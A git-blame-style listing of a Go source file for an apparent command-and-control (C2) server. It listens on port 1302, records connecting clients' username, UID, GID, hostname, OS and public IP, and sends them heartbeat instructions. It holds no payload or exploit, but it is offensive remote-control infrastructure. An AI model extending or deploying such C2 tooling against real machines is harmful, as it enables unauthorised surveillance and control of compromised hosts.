2024-06-03 09:24:18 +02:00
|
|
|
package cmd
|
|
|
|
|
|
|
|
import (
|
2024-06-03 10:16:35 +02:00
|
|
|
"encoding/gob"
|
|
|
|
"fmt"
|
2024-06-03 09:24:18 +02:00
|
|
|
"log"
|
|
|
|
"net"
|
2024-06-03 15:05:43 +02:00
|
|
|
"time"
|
2024-06-03 09:24:18 +02:00
|
|
|
|
|
|
|
"github.com/spf13/viper"
|
|
|
|
)
|
|
|
|
|
2024-06-03 10:16:35 +02:00
|
|
|
type Client struct {
|
2024-06-04 09:37:38 +02:00
|
|
|
ClientBasicInfo
|
|
|
|
Conn net.Conn
|
|
|
|
IsOnline bool
|
|
|
|
}
|
|
|
|
|
|
|
|
type ClientBasicInfo struct {
|
2024-06-03 15:05:43 +02:00
|
|
|
Username string
|
|
|
|
UID string
|
|
|
|
GID string
|
2024-06-03 10:16:35 +02:00
|
|
|
OperatingSystem string
|
2024-06-03 15:05:43 +02:00
|
|
|
Hostname string
|
2024-06-04 09:37:38 +02:00
|
|
|
PublicIP string
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
type Instructions struct {
|
2024-06-04 09:37:38 +02:00
|
|
|
IsHeartbeat bool
|
|
|
|
Message string
|
|
|
|
}
|
|
|
|
|
|
|
|
type Response struct {
|
2024-06-03 10:16:35 +02:00
|
|
|
Message string
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
var (
|
2024-06-03 10:16:35 +02:00
|
|
|
C2Port string = "1302"
|
2024-06-04 12:41:57 +02:00
|
|
|
clientList []Client
|
2024-06-03 09:24:18 +02:00
|
|
|
)
|
|
|
|
|
2024-06-03 15:05:43 +02:00
|
|
|
func (c Client) Instruct(i Instructions) error {
|
|
|
|
enc := gob.NewEncoder(c.Conn)
|
|
|
|
err := enc.Encode(i)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
func Server() {
|
|
|
|
p := viper.GetString("Server.Port")
|
|
|
|
if p != "" {
|
|
|
|
C2Port = p
|
|
|
|
}
|
|
|
|
go WebServer()
|
|
|
|
|
|
|
|
ln, err := net.Listen("tcp", ":"+C2Port)
|
|
|
|
if err != nil {
|
|
|
|
log.Fatalf("Error happened listening on C2 port: %v\n", err)
|
|
|
|
}
|
|
|
|
log.Printf("Listening on port %v...", C2Port)
|
|
|
|
defer ln.Close()
|
|
|
|
|
|
|
|
for {
|
|
|
|
conn, err := ln.Accept()
|
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened accepting connection: %v\n", err)
|
|
|
|
}
|
|
|
|
handleConn(conn)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
func handleConn(conn net.Conn) {
|
2024-06-04 12:41:57 +02:00
|
|
|
ID, err := getClient(conn)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened receiving OS information: %v\n", err)
|
|
|
|
}
|
2024-06-04 12:41:57 +02:00
|
|
|
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
|
|
|
|
clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
|
|
|
|
clientList[ID].ClientBasicInfo.OperatingSystem)
|
2024-06-04 09:37:38 +02:00
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
go Heartbeat(ID)
|
2024-06-04 09:37:38 +02:00
|
|
|
}
|
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
func Heartbeat(ID int) {
|
2024-06-03 15:05:43 +02:00
|
|
|
for {
|
2024-06-04 09:37:38 +02:00
|
|
|
inst := Instructions{
|
|
|
|
IsHeartbeat: true,
|
|
|
|
Message: "PING",
|
|
|
|
}
|
2024-06-04 12:41:57 +02:00
|
|
|
clientList[ID].Instruct(inst)
|
|
|
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
2024-06-04 09:37:38 +02:00
|
|
|
if err == nil && resp.Message == "PONG" {
|
2024-06-04 12:41:57 +02:00
|
|
|
fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname)
|
|
|
|
clientList[ID].IsOnline = true
|
2024-06-04 09:37:38 +02:00
|
|
|
} else {
|
2024-06-04 12:41:57 +02:00
|
|
|
fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
|
|
|
|
clientList[ID].IsOnline = false
|
2024-06-04 09:37:38 +02:00
|
|
|
return
|
|
|
|
}
|
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
time.Sleep(time.Second * 5)
|
2024-06-03 15:05:43 +02:00
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
}
|
2024-06-03 15:05:43 +02:00
|
|
|
|
2024-06-04 09:37:38 +02:00
|
|
|
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
|
|
|
dec := gob.NewDecoder(conn)
|
|
|
|
c := new(Response)
|
|
|
|
err := dec.Decode(c)
|
|
|
|
if err != nil {
|
|
|
|
return Response{}, err
|
|
|
|
}
|
|
|
|
return *c, nil
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-03 09:24:18 +02:00
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
func getClient(conn net.Conn) (int, error) {
|
2024-06-03 10:16:35 +02:00
|
|
|
dec := gob.NewDecoder(conn)
|
2024-06-04 12:41:57 +02:00
|
|
|
basicC := ClientBasicInfo{}
|
2024-06-04 09:37:38 +02:00
|
|
|
err := dec.Decode(&basicC)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
2024-06-04 12:41:57 +02:00
|
|
|
return -1, err
|
|
|
|
}
|
|
|
|
|
|
|
|
for i, v := range clientList {
|
|
|
|
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
|
|
|
|
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
|
|
|
|
basicC.Hostname == v.ClientBasicInfo.Hostname
|
|
|
|
|
|
|
|
if sameClient == true {
|
|
|
|
fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
|
|
|
|
clientList[i].IsOnline = true
|
|
|
|
clientList[i].Conn = conn
|
|
|
|
return i, nil
|
|
|
|
} else {
|
|
|
|
fmt.Println("Unequal!")
|
|
|
|
}
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-04 12:41:57 +02:00
|
|
|
newC := Client{}
|
|
|
|
newC.ClientBasicInfo = basicC
|
2024-06-04 09:37:38 +02:00
|
|
|
newC.Conn = conn
|
|
|
|
newC.IsOnline = true
|
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
|
2024-06-04 09:37:38 +02:00
|
|
|
clientList = append(clientList, newC)
|
2024-06-04 12:41:57 +02:00
|
|
|
return len(clientList) - 1, nil
|
2024-06-03 09:24:18 +02:00
|
|
|
}
|